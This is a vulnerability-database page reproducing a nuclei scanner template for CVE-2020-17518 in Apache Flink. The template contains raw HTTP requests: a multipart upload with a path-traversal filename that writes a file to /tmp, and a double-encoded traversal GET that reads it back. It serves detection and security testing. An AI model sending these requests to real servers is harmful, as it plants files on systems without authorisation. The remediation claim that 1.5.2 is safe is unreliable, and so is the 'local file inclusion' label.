Lucene search
K

Apache Flink 1.5.1 - Local File Inclusion

🗓️ 03 Jul 2026 13:39:16Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 40 Views

Apache Flink 1.5.1 - Local File Inclusion vulnerability allowing file upload to arbitrary location through malicious HTTP HEADE

Related
Refs
Code
id: CVE-2020-17518

info:
  name: Apache Flink 1.5.1 - Local File Inclusion
  author: pdteam
  severity: high
  description: |
    Apache Flink 1.5.1 is vulnerable to local file inclusion because of a REST handler that allows file uploads to an arbitrary location on the local file system through a maliciously modified HTTP HEADER.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
  remediation: |
    Upgrade Apache Flink to a version that is not affected by the vulnerability (1.5.2 or later).
  reference:
    - https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
    - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E
    - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cuser.flink.apache.org%3E
    - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cdev.flink.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17518
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-17518
    cwe-id: CWE-22,CWE-23
    epss-score: 0.50038
    epss-percentile: 0.98765
    cpe: cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: flink
  tags: cve2020,cve,lfi,flink,fileupload,vulhub,apache,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST /jars/upload HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y

        ------WebKitFormBoundaryoZ8meKnrrso89R6Y
        Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"

        {{randstr}}
        ------WebKitFormBoundaryoZ8meKnrrso89R6Y--
      - |
        GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc HTTP/1.1

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "{{randstr}}") && status_code == 200'
# digest: 490a0046304402205201b1cf060ba6a1435f49b5fd3e9331a3212acdd4c09b17c27c6fd647b0340b022025a8c9929ba3122a654cebf9266b66a4042b53327d54fb823e49301337170592:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation